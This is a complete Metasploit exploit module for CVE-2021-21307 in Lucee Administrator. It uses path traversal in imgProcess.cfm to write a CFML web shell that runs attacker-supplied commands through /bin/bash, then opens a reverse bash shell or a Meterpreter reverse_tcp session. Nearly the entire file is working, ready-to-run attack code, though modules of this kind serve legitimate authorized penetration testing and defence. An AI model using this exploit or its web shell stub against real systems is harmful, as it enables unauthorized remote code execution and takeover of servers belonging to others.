Lucee Administrator imgProcess.cfm Arbitrary File Write Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Lucee Administrator imgProcess.cfm Arbitrary File Write',
        'Description' => %q{
          This module exploits an arbitrary file write in Lucee Administrator's
          imgProcess.cfm file to execute commands as the Tomcat user.
        },
        'Author' => [
          'rootxharsh', # Discovery and PoC
          'iamnoooob', # Discovery and PoC
          'wvu' # Exploit
        ],
        'References' => [
          ['CVE', '2021-21307'],
          ['URL', 'https://dev.lucee.org/t/lucee-vulnerability-alert-november-2020-cve-2021-21307/7643'],
          ['URL', 'https://github.com/lucee/Lucee/security/advisories/GHSA-2xvv-723c-8p7r'],
          ['URL', 'https://github.com/httpvoid/writeups/blob/main/Apple-RCE.md']
        ],
        'DisclosureDate' => '2021-01-15', # rootxharsh and iamnoooob's writeup
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'], # TODO: Windows?
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false, # Tomcat user
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8888
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [
            # /opt/lucee/server/lucee-server/context/logs/application.log
            # /opt/lucee/web/logs/exception.log
            IOC_IN_LOGS,
            # /opt/lucee/web/temp/admin-ext-thumbnails/__/
            # /opt/lucee/web/temp/admin-ext-thumbnails/__/../../../context/[a-zA-Z0-9]{8,16}.cfm
            ARTIFACTS_ON_DISK
          ]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/lucee'])
    ])

    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])
  end

  def check
    # NOTE: This doesn't actually write a file
    res = write_file(rand_text_alphanumeric(8..16), nil)

    return CheckCode::Unknown unless res

    unless res.code == 500 && res.body.include?("key [IMGSRC] doesn't exist")
      return CheckCode::Safe
    end

    CheckCode::Appears('Lucee Administrator imgProcess.cfm detected.')
  end

  def exploit
    print_status("Writing CFML stub: #{full_uri(cfml_uri)}")

    unless write_cfml_stub
      fail_with(Failure::NotVulnerable, 'Failed to write CFML stub')
    end

    print_status("Executing #{payload_instance.refname} (#{target.name})")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def write_cfml_stub
    # XXX: Create /opt/lucee/web/temp/admin-ext-thumbnails/__/
    res = write_file('/.', '')

    # Leak directory traversal base path from 500 response
    unless res&.code == 500 && %r{file \[(?<base_path>.*?/__/)\.\]} =~ res.body
      return false
    end

    register_dir_for_cleanup(base_path)

    cfml_path = "/../../../context/#{cfml_filename}"

    res = write_file(cfml_path, cfml_stub)

    return false unless res&.code == 200

    register_file_for_cleanup(normalize_uri(base_path, cfml_path))

    true
  end

  def execute_command(cmd, _opts = {})
    vprint_status(cmd)

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => cfml_uri,
      'vars_post' => {
        cfml_param => cmd
      }
    }, datastore['CmdExecTimeout'])

    return unless res

    fail_with(Failure::PayloadFailed, cmd) unless res.code == 200

    vprint_line(res.body)
  end

  def write_file(name, contents)
    opts = {
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/admin/imgProcess.cfm')
    }

    opts['vars_get'] = { 'file' => name } if name
    opts['vars_post'] = { 'imgSrc' => contents } if contents

    send_request_cgi(opts)
  end

  def cfml_stub
    # https://cfdocs.org/cfscript
    # https://cfdocs.org/cfexecute
    <<~CFML.gsub(/^\s+/, '').tr("\n", '')
      <cfscript>
        cfexecute(name="/bin/bash", arguments=["-c", "#form.#{cfml_param}#"]);
      </cfscript>
    CFML
  end

  def cfml_uri
    normalize_uri(target_uri.path, cfml_filename)
  end

  def cfml_param
    @cfml_param ||= rand_text_alphanumeric(8..16)
  end

  def cfml_filename
    @cfml_filename ||= "#{rand_text_alphanumeric(8..16)}.cfm"
  end

end